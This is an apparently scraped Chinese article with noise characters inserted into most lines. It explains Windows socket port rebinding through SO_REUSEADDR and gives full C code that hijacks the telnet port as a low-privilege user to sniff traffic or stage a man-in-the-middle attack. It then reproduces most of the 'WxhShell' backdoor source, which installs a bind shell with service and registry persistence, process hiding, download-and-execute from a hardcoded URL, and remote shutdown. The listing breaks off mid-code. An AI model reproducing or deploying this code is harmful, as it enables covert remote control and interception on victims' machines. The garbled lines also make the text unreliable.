在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
A61-AwvF8- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]9~#;M%1
2_ZHJ,r saddr.sin_family = AF_INET;
JY;#]'T\; 6i?kkULBS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
YA/H;707l [8om9 Z3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Ri%Of:zZ s]V{}bY` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ni 02N3R *(XgUJq+ 这意味着什么?意味着可以进行如下的攻击:
U`vt/#j
1 <T=o]M$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}!J/ 9WKgU })yb
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
swe8 \[hrG?A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
U%SNROj %CfTqbB 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
iR4,$Nn> p_kTLNZd9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
qkyX*_} s$=B~l 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_ jM6ej< Snvj9Nr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
='l6&3X lf7H8k, - #include
5tbiNm^X #include
C J}4V!;| #include
=K&q;;h #include
~NJL S- DWORD WINAPI ClientThread(LPVOID lpParam);
8i+jFSZ$ int main()
,'@ISCK^ {
k?_$h<Y WORD wVersionRequested;
;kcFQed\w DWORD ret;
{N8rZ [Oo WSADATA wsaData;
c9 TkIe BOOL val;
Z{>Y':\?< SOCKADDR_IN saddr;
Vt 5XC~jK SOCKADDR_IN scaddr;
uc
`rt" int err;
b9!J}hto, SOCKET s;
W71#NjM2Z SOCKET sc;
_[6+FdS], int caddsize;
eXtF[0f HANDLE mt;
Ffqn|}gb DWORD tid;
sZ(Q4)r
wVersionRequested = MAKEWORD( 2, 2 );
P<w>1
= err = WSAStartup( wVersionRequested, &wsaData );
t3kh]2t if ( err != 0 ) {
kKTED1MW&W printf("error!WSAStartup failed!\n");
DL/*t.)"et return -1;
~8qFM }
w+ )GM saddr.sin_family = AF_INET;
(]uoN4 "gVH;<&] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
T"jDq1C/,E RyIaT saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"MKsSty saddr.sin_port = htons(23);
xn#I7]]G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JL+[1=uE1L {
t@mw f3, printf("error!socket failed!\n");
]0nC;|]@Lx return -1;
$+yQ48Wq }
mCP +7q7 val = TRUE;
,}$x'8v //SO_REUSEADDR选项就是可以实现端口重绑定的
|zegnq~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
rs)aEmvC {
Y
.X-8 printf("error!setsockopt failed!\n");
dtXJ<1: return -1;
WN?`Od:y }
nWg)zj: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
m(Xr5hw:6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-"b3q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|0Ug~jKU X_yU"U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
<cd%n- {
\^Q)`Lqp:g ret=GetLastError();
(B4A$t printf("error!bind failed!\n");
N`:bvr return -1;
@Pg@ltUd }
X "r$,~ listen(s,2);
G(,~{N|| while(1)
nqW:P$ {
zb*4Nsda: caddsize = sizeof(scaddr);
$6+P&"8 //接受连接请求
y^fU_L?p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
V&nJT~k if(sc!=INVALID_SOCKET)
LU=)\U@Q {
9E*K44L/V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
f@X*Tlx^| if(mt==NULL)
q.Mck9R7 {
lBC-G*# printf("Thread Creat Failed!\n");
Z9EQ|WfS#- break;
ZX}" }
fXQRsL8
] }
Q";eyYdOL CloseHandle(mt);
J<O_N~$$* }
*XR~fs?/*W closesocket(s);
{iteC WSACleanup();
F'Vl\qPt return 0;
t9l7
% +y }
y=`(`|YW}` DWORD WINAPI ClientThread(LPVOID lpParam)
nAj2k {
4 (gf!U SOCKET ss = (SOCKET)lpParam;
J4X35H=Z SOCKET sc;
Wuz~$SU unsigned char buf[4096];
qa?y lR"kA SOCKADDR_IN saddr;
9^olAfX`dB long num;
p+?WhxG) DWORD val;
=hlu,
B y DWORD ret;
SW,Po>Y //如果是隐藏端口应用的话,可以在此处加一些判断
boon=;{p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?^Ux+mVE saddr.sin_family = AF_INET;
h!]A(T\J saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3I(M<sB} saddr.sin_port = htons(23);
z5/O8}Gz@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'& :"/4@) {
'_Op rx printf("error!socket failed!\n");
B/}>UHM return -1;
8m0sEV> }
kMXl
{ val = 100;
z`SkKn0f
Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>AJ|F) {
+3CMfYsr8 ret = GetLastError();
g7-K62bb return -1;
!HYqM(|{. }
7a net if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i/z7a%$ {
,,gYU_V ret = GetLastError();
P $S P4F return -1;
*Y~64FM }
o5uwa{v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|zKcL3* {
W{d/m;<@N printf("error!socket connect failed!\n");
,~#hHhR_ closesocket(sc);
VXS9E383 closesocket(ss);
aT #|mk=\ return -1;
` 0F
IJT }
CS49M while(1)
)3 {
KMZ`Wn= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DP_ \%(A //如果是嗅探内容的话,可以再此处进行内容分析和记录
WW=7QCi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?%(*bRV - num = recv(ss,buf,4096,0);
f`e.c_n( if(num>0)
|(5=4j] send(sc,buf,num,0);
Pif1sL6' else if(num==0)
`u-Y 5mY break;
lRb)Tz6SE num = recv(sc,buf,4096,0);
q`hg@uwA{` if(num>0)
"5Mo%cUp send(ss,buf,num,0);
1Jt%I'C? else if(num==0)
\N30SG?o break;
syF/jWM5 }
n^K]R}S closesocket(ss);
mD!imq%= closesocket(sc);
9EEHLx" return 0 ;
{8Ll\j@ " }
?jbam!A ryN-d%t? f+&yc'[ ==========================================================
n !QjptQ >:=TS"}yS} 下边附上一个代码,,WXhSHELL
<IYt*vlm LHps2, ==========================================================
?k#%AM lk80)sTZ #include "stdafx.h"
s=:n<`Z2 +] #>6/2q #include <stdio.h>
m<E7cY3mX #include <string.h>
!E%!, #include <windows.h>
Po5}Vh #include <winsock2.h>
0*q:p`OLw* #include <winsvc.h>
z,)Fvs4U. #include <urlmon.h>
;.Kzc3yz} MmX42;Pw #pragma comment (lib, "Ws2_32.lib")
3]'3{@{}H #pragma comment (lib, "urlmon.lib")
^JTfRZ:a &+\wYa, #define MAX_USER 100 // 最大客户端连接数
`F)Iv:;y, #define BUF_SOCK 200 // sock buffer
QwhPN'U #define KEY_BUFF 255 // 输入 buffer
tQ/U'Ap& ZrTq)BZ #define REBOOT 0 // 重启
!`SR$dnE #define SHUTDOWN 1 // 关机
]C!u~A\jq J(Bn
n #define DEF_PORT 5000 // 监听端口
'
|4XyU= &rn,[w_F[ #define REG_LEN 16 // 注册表键长度
dgO2fI #define SVC_LEN 80 // NT服务名长度
;,viE~n {Z|C // 从dll定义API
U}UIbJD*= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
As"'KR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Z8m/8M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
r@_;L> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
})J]D~!p ;>PV]0bOm> // wxhshell配置信息
*@O;IiSE struct WSCFG {
A)qOJ(OEz int ws_port; // 监听端口
b&LhydaJ char ws_passstr[REG_LEN]; // 口令
G",+jR] int ws_autoins; // 安装标记, 1=yes 0=no
P?bdjU#_n` char ws_regname[REG_LEN]; // 注册表键名
"dA"N$ char ws_svcname[REG_LEN]; // 服务名
+'[iyHBJ char ws_svcdisp[SVC_LEN]; // 服务显示名
oL<^m?-u char ws_svcdesc[SVC_LEN]; // 服务描述信息
$hA[vi\5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
b7\nCRY int ws_downexe; // 下载执行标记, 1=yes 0=no
c0tv!PSw char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}@x0@sI9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U7{,
* #*~#t4S- };
6CCM7 ]Fa VKC~3 // default Wxhshell configuration
Z{%h6"" struct WSCFG wscfg={DEF_PORT,
ll6~8PN "xuhuanlingzhe",
UA{A G; 1,
CA{c-kG "Wxhshell",
?:UDK? "Wxhshell",
'GAjx{gM "WxhShell Service",
htIV`_<Ro "Wrsky Windows CmdShell Service",
[IiwpC "Please Input Your Password: ",
L>cTI2NB. 1,
ujHqwRh "
http://www.wrsky.com/wxhshell.exe",
94H 6` "Wxhshell.exe"
i/~A7\:8% };
75gE>:f ~Q5L)}8N // 消息定义模块
%|4Nmf$:Og char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o4tQ9X=} char *msg_ws_prompt="\n\r? for help\n\r#>";
$
-;,O8yR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{5:y,=Y char *msg_ws_ext="\n\rExit.";
l,L#y4# char *msg_ws_end="\n\rQuit.";
7n
{uxE#U) char *msg_ws_boot="\n\rReboot...";
9=Y-w s char *msg_ws_poff="\n\rShutdown...";
qY0p)`3!% char *msg_ws_down="\n\rSave to ";
=ejkE;
%L /z`LB char *msg_ws_err="\n\rErr!";
UZ v^3_,qz char *msg_ws_ok="\n\rOK!";
v 6Tz7 zaa>]~g . char ExeFile[MAX_PATH];
Y@F@k(lOo int nUser = 0;
R Mrh@9g HANDLE handles[MAX_USER];
BA53
int OsIsNt;
*e!0ZB3J Bk*AO?3p SERVICE_STATUS serviceStatus;
`q".P]wtKN SERVICE_STATUS_HANDLE hServiceStatusHandle;
&+Xj%x.]
?x=;?7 // 函数声明
*C Me:a int Install(void);
H9F\<5n]-l int Uninstall(void);
I4,C-D int DownloadFile(char *sURL, SOCKET wsh);
7NE"+EP\{2 int Boot(int flag);
cE$7CSR void HideProc(void);
3a_~18W int GetOsVer(void);
*xI0hFJIM int Wxhshell(SOCKET wsl);
S2'./!3yv void TalkWithClient(void *cs);
?vp'
/l" int CmdShell(SOCKET sock);
B;@7 int StartFromService(void);
'
cR||VX int StartWxhshell(LPSTR lpCmdLine);
&;DK^ta*P ,C1}gPQ6< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
TFjb1a,) VOID WINAPI NTServiceHandler( DWORD fdwControl );
1Ue)&RW Y/?V%X // 数据结构和表定义
[W;iR_7T5 SERVICE_TABLE_ENTRY DispatchTable[] =
w9Bbvr6 {
slaYr`u {wscfg.ws_svcname, NTServiceMain},
2+m%f" {NULL, NULL}
CB]#`|f };
i=jwk_y dZK/v // 自我安装
>Z r f}H int Install(void)
MH7 n@.t {
P|%uB'|H char svExeFile[MAX_PATH];
^YiGvZJ HKEY key;
F,5~a_GP? strcpy(svExeFile,ExeFile);
1fUg 0h=NbLr|S- // 如果是win9x系统,修改注册表设为自启动
jwhc;y if(!OsIsNt) {
Is57)(^.- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.^
djt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'-c
*S]: r RegCloseKey(key);
wX<w)@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[}:;B$, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HueGARS RegCloseKey(key);
F#NuZ'U return 0;
y``[CBj }
~j3O0s<gK }
I(m*%> }
lgrD~Y (x else {
+guCTGD: u|(;SY // 如果是NT以上系统,安装为系统服务
./5LV)_` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
BV;dV6`z if (schSCManager!=0)
JX!z,X?r4 {
[h&)h+xt SC_HANDLE schService = CreateService
zu/BDyF (
-So$f-y schSCManager,
F-R5Ib-F*A wscfg.ws_svcname,
+%Z#!1u wscfg.ws_svcdisp,
2 nra@ SERVICE_ALL_ACCESS,
xu%_Zt2/?j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l(A)G d5> SERVICE_AUTO_START,
2P,%}Ms SERVICE_ERROR_NORMAL,
O}s Mqh svExeFile,
@tT2o@2Y^ NULL,
iHa:6 NULL,
^=Dz)95c NULL,
Tfq7<<0$N NULL,
GBYeiEgZh NULL
Uc%kyTBm1 );
RE0ud_q2 if (schService!=0)
PQj 'D<G {
;SgPF:T>Q CloseServiceHandle(schService);
-kk0zg
&|i CloseServiceHandle(schSCManager);
~Z`Cu~7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\X2r? strcat(svExeFile,wscfg.ws_svcname);
mV'-1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-xXdT$Xd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*$]50 \W RegCloseKey(key);
0fJz[;dV>n return 0;
:y.~IQN }
I:6H65(& }
9ls*L!Jw CloseServiceHandle(schSCManager);
[a_'pAH }
'pnOHT }
y[{}124 7v&>d, return 1;
b+`qGJrej }
;I9g;} 6]r#6c% // 自我卸载
+!Q*ie+q int Uninstall(void)
RkZyqt
@+ {
,!O]c8PcU HKEY key;
z3c7 8 =oUE$9 if(!OsIsNt) {
11vAx9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
704_ehrlE RegDeleteValue(key,wscfg.ws_regname);
<Nk:C1Op} RegCloseKey(key);
NTo[di\_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cd|/4L6 RegDeleteValue(key,wscfg.ws_regname);
l(9AwVoAR| RegCloseKey(key);
Q@1SqK#-DQ return 0;
%'uei4 }
LGK&&srJs }
V.%LA.8 }
LJ6L#es2 else {
U.WXh(`% AJ3%Z$JJ;s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;F_P<b 2 if (schSCManager!=0)
w^9< I] {
ik](k"1{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^xgqs $`7 if (schService!=0)
xI_0`@do {
8|(],NyEJ if(DeleteService(schService)!=0) {
6RG63+G CloseServiceHandle(schService);
FTr'I82m( CloseServiceHandle(schSCManager);
$<9u:.9xf return 0;
gA`QV''/: }
~{$c| CloseServiceHandle(schService);
ol K+|nR }
1?yj<^" CloseServiceHandle(schSCManager);
]j!pK4 }
`v-O 4Pk }
##%&*vh sjOv!|]A return 1;
+f%"O? }
`kE7PXqa :+
mULUi // 从指定url下载文件
9Z }<H/q int DownloadFile(char *sURL, SOCKET wsh)
x4/{XRQ {
4*L*"vKa HRESULT hr;
_Hd|y char seps[]= "/";
2;j<{' char *token;
`*elzW char *file;
Mna
yiJl char myURL[MAX_PATH];
-Lq2K3JHyn char myFILE[MAX_PATH];
Y
mL{uV$ |N^"?bSt strcpy(myURL,sURL);
AloL+eN@ token=strtok(myURL,seps);
* nFzfV while(token!=NULL)
:<mJRsDf {
$2,tT;50g file=token;
)[J@s= token=strtok(NULL,seps);
)0/*j]Kf }
ya{`gjIlW I 44]W & GetCurrentDirectory(MAX_PATH,myFILE);
o2=):2x
r{ strcat(myFILE, "\\");
S0Io$\ha strcat(myFILE, file);
<i4]qO(0u send(wsh,myFILE,strlen(myFILE),0);
7y&6q`y E send(wsh,"...",3,0);
G0|}s&$yL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
w/O'&],x if(hr==S_OK)
N$=9R return 0;
Y<u%J#'[ else
BWQ`8 return 1;
h=,hYz?] Zs{7km }
Lui6;NY H8I)D& cw // 系统电源模块
:IBP " int Boot(int flag)
;l~a|KW0 {
-seLa(8F HANDLE hToken;
!yPy@eP~ TOKEN_PRIVILEGES tkp;
Y.) QNTh !L8q]]'XM if(OsIsNt) {
/FE+WA}r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
A_\Jb}J1< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l"A/6r!Dp tkp.PrivilegeCount = 1;
BO4;S/ O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2oEuqHL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$kxP5q%9 if(flag==REBOOT) {
=.;ib6M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=
g
& return 0;
D ka8[z7 }
vD9\i*\2 else {
i9zh
X1# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ZP!.C&O return 0;
JZ`SV}\` }
(J %4}Dm }
#7Q9^rG else {
i
KQj[%O if(flag==REBOOT) {
"i(f+N,) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
S+~;PmN9qL return 0;
\Db;7wh }
AV2Jl"1)z else {
m!G(vhA,_w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.z_nW1id return 0;
F?R6zvive }
..E_M$} }
>QvqH 2 P8ej9ULX, return 1;
J.: }
0.wF2!V. -s2)!Iko& // win9x进程隐藏模块
fqbeO 9x void HideProc(void)
0J'Cx&Rg {
>^`# %$+ O0z-jZ,]) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S+[,\>pY if ( hKernel != NULL )
jZqa+nG51 {
yW1N&$n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
75^*4[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0'r}]Mws FreeLibrary(hKernel);
@w= =*.x }
6wB
!dl +qjZ;5( return;
NiVLx_<Pr' }
v"(6rZsa U:$zlfV // 获取操作系统版本
4`#%<G int GetOsVer(void)
y@*4*46v {
I:=!,4S; OSVERSIONINFO winfo;
N)E'k%?, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2BO H8Mp9 GetVersionEx(&winfo);
8q9^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
$<Gt^3e return 1;
e[T3,2C else
0K^@P#{hd return 0;
l>`S<rGe }
Bq~S=bAB>R ZT&[:>upR // 客户端句柄模块
Lp$&eROFVs int Wxhshell(SOCKET wsl)
~8k`~t! {
79)iv+nf\l SOCKET wsh;
6@^
?dQ struct sockaddr_in client;
:+_H%4+ DWORD myID;
/P3Pv"r|8] ^v;8 (eF while(nUser<MAX_USER)
C;ha2UV0H {
j
yp.2c int nSize=sizeof(client);
C&d,|e "\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
mrE>o! if(wsh==INVALID_SOCKET) return 1;
'2|mg<Ft L-|7
& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
fH,h\0 if(handles[nUser]==0)
}VH`\g} closesocket(wsh);
A#~CZQY^$ else
REJBm nUser++;
0?Bv
zfb }
?8-ho0f0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BIY"{"hJ c1sVdM}| return 0;
PR3&LI;B* }
:>K8oE
QruclNW{Bv // 关闭 socket
sL4j@Lt void CloseIt(SOCKET wsh)
;)23@6{R% {
rr^?9M*{V closesocket(wsh);
pB:/oHV nUser--;
z2U^z*n{ ExitThread(0);
,(;]8G-Yj }
+[2ep"5H Qpocj: // 客户端请求句柄
l}_6_g>6 void TalkWithClient(void *cs)
VM}7 ~ {
&2sfu0K +5"Pm]oRbx SOCKET wsh=(SOCKET)cs;
{NUI8AL46A char pwd[SVC_LEN];
:k Kdda<g# char cmd[KEY_BUFF];
uJSzz:\ char chr[1];
-8Q}*Z int i,j;
4`/Td?THx c>%%'c while (nUser < MAX_USER) {
`5
Iaz !,9;AMO
- if(wscfg.ws_passstr) {
#c$z&J7e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'0<9+A# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{F ',e~}s //ZeroMemory(pwd,KEY_BUFF);
ymb{rKkN3 i=0;
PVaqKCj:6W while(i<SVC_LEN) {
_6.Y3+7I yY_#fJj // 设置超时
R1~wzy fd_set FdRead;
Gz:ell$ struct timeval TimeOut;
."Q}2 FD_ZERO(&FdRead);
y' RQ_Gi FD_SET(wsh,&FdRead);
.`jYrW-k TimeOut.tv_sec=8;
}=p+X:k= TimeOut.tv_usec=0;
.'bhRQY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F^CR$L& K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+!mEP> :6J&%n
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{a0yHy$H pwd
=chr[0]; zy`T!
$
if(chr[0]==0xd || chr[0]==0xa) { U+,RP$r@
pwd=0; [ d`m)MW-
break; q!{>Nlk
} oSLm?Lu
i++; ]]P@*4!
} OMAvJzK .
o ~M=o:^nH
// 如果是非法用户,关闭 socket KNjU!Z/4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C!U$<_I\2
} [lGxys)J
8^67,I-c
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K[S)e!\.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B.:1fT7lI
\027>~u
{
while(1) { og&-P=4O
}#S1!TU
ZeroMemory(cmd,KEY_BUFF); 4 %V9
P !I Lji!
// 自动支持客户端 telnet标准 [eFJ+|U9
j=0; n`V? n
while(j<KEY_BUFF) { $\q.Zb
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e,MgR \F}
cmd[j]=chr[0]; dDa&:L
if(chr[0]==0xa || chr[0]==0xd) { /=g/{&3[a>
cmd[j]=0; 3H|drj:KV
break; 7CH.BY
} TfHL'u9B
j++; Ns]$+|
} F` &W5[
}X. Fm'`
// 下载文件 a#lytp
if(strstr(cmd,"http://")) { Bo\~PV[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $%4<q0-
if(DownloadFile(cmd,wsh)) 11c\C Iu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1OV] W
f
else tu(^D23
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j{D tjV8
} 4o"?QV:
else {
n(|rs
\(--$9
switch(cmd[0]) { P- +]4\
5 D=r7
// 帮助 )5n:UD{f[#
case '?': { OZC
yg/K
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |6;-P&_n
break; 0+u>"7T
} sVGQSJJ5
// 安装 wqT9m*VK
case 'i': { ^;F5ymb3U
if(Install()) eoXbZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _#MKp H
else j
dz IU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hn\d{HP
break; &n#yxv4
} oz]&=>$1I
// 卸载 Gs,e8ri!
case 'r': { TD%L`Gk
if(Uninstall()) :H&G}T(#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 42p1P6d
else 7\[fjCg\w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z&Aya*0v`
break; AJE$Z0{q
} QleVW
// 显示 wxhshell 所在路径 >]&Ow9-
case 'p': { BvH?d]%
char svExeFile[MAX_PATH]; t`{T:Tjc
strcpy(svExeFile,"\n\r"); 0w0{@\9
strcat(svExeFile,ExeFile); SH#*Lc
send(wsh,svExeFile,strlen(svExeFile),0); `34{/}w
break; (xoYYO
} W amOg0
// 重启 3Zl:rYD?
case 'b': { Zd%wX<hU"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {qbe
ye!
if(Boot(REBOOT)) V0#Ocq,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZO%iyc%
else { PHEQG]H S
closesocket(wsh); Ir5|H|b<
ExitThread(0); Cl!(F6K*
} GBWL0'COV
break; s;=C&N5g
} __FEdO
// 关机 ^jUw4Dj~-q
case 'd': { bk;uKV+<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mp>(cs
if(Boot(SHUTDOWN)) 3fB]uq+eD%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w=n(2M56C
else { ^G(Ee+PN@
closesocket(wsh); *8m['$oyV
ExitThread(0); Ie(.T2K
} hV0fkQ.|
break; yz=X{p1
} \!BVf@>p%
// 获取shell s.Bb@Jq
case 's': { f7][#EL
CmdShell(wsh); rF"p7
closesocket(wsh); *o4a<.hd2
ExitThread(0); 3X1 1Gl
break; >5:O%zQ@
} k4dC
// 退出 6h,!;`8O
case 'x': { ~IjID
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |\?u-O3
CloseIt(wsh); i,a"5DR8
break; r{9fm,
} F;8Q`$n
// 离开 &JqaIJh
case 'q': { 3B
'j?+A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1^X)vck
closesocket(wsh); c>{QTI:]
WSACleanup(); |g)>6+?]W
exit(1); e]1Zey
break; _UPfqC ?
} %kV7 <:y
} z|D*ymz*EY
} 4fC:8\A
7g(Z@
// 提示信息 ?\, ^>4x?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]4en|Aq
} >>$`]]7
} Z9+fTT
&
rab,I"
return; |&rCXfC
} :vG0 l\
vBl:&99[/
// shell模块句柄 s{yw1:
int CmdShell(SOCKET sock) *1<kYrB
{ iP"sw0V8
STARTUPINFO si; >VkBQM-%
ZeroMemory(&si,sizeof(si)); >!xyA;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rFQWgWD
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }}QR'
PROCESS_INFORMATION ProcessInfo; M
lR~`B}m
char cmdline[]="cmd"; "O4A&PJD
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A+0-pF2D
return 0; !EhKg)y=
} ZDW=>}~_y
za@/4z
// 自身启动模式 }ARA K ^%
int StartFromService(void) ~EPVu
{ 2]]v|Z2M4
typedef struct +wmG5!%$|
{ aY>v
DWORD ExitStatus; XAU%B-l:
DWORD PebBaseAddress; bTaKB-
DWORD AffinityMask; 7*{f*({
